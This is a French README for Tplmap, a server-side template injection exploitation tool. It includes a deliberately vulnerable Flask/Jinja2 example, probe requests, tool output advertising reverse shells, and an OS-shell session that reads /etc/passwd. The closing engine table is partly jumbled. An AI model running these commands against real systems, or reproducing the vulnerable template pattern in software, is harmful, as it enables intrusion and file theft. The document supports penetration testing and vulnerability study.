
Outil de détection et d'exploitation d'injection de modèles côté serveur et d'injection de code
Ce projet n'est plus maintenu. Je suis heureux de fusionner les nouvelles PR tant qu'elles ne cassent pas la suite de tests.
Tplmap facilite l'exploitation des vulnérabilités d'injection de code et d'injection de templates côté serveur (SSTI) grâce à un ensemble de techniques d'évasion de sandbox pour accéder au système d'exploitation sous-jacent.
L'outil et sa suite de tests sont développés pour étudier la classe de vulnérabilité SSTI et pour être utilisés comme outil de sécurité offensive lors de tests d'intrusion d'applications web.
Les techniques de rupture de sandbox proviennent de l'article de James Kett Server-Side Template Injection: RCE For The Modern Web App, d'autres recherches publiques [1] [2], et de contributions originales à cet outil [3] [4].
Il peut exploiter plusieurs contextes de code et scénarios d'injection aveugle. Il prend également en charge les injections de type eval() en Python, Ruby, PHP, Java et les moteurs de templates génériques sans sandbox.
Supposons que vous auditez un site web qui génère des pages dynamiques à l'aide de templates composés de valeurs fournies par l'utilisateur, comme cette application web écrite en Python et Flask qui utilise le moteur de templates Jinja2 de manière non sécurisée.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
D'un point de vue boîte noire, la page reflète la valeur similairement à une vulnérabilité XSS, mais calcule également des opérations basiques à l'exécution, révélant ainsi sa nature SSTI.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap est capable de détecter et d'exploiter les SSTI dans une gamme de moteurs de templates pour accéder au système de fichiers et au système d'exploitation sous-jacent. Lancez-le contre l'URL pour tester si les paramètres sont vulnérables.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Utilisez l'option --os-shell pour lancer un pseudo-terminal sur la cible.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap prend en charge plus de 15 moteurs de templates, les moteurs sans sandbox et les injections génériques de type eval().
| Engine | Remote Command Execution | Blind | Code evaluation | File read | File write |
|---|---|---|---|---|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × |
Voir burp_extension/README.md.
| × |
| × |
| × |
| Dust (> [email protected]) | × | × | × | × | × |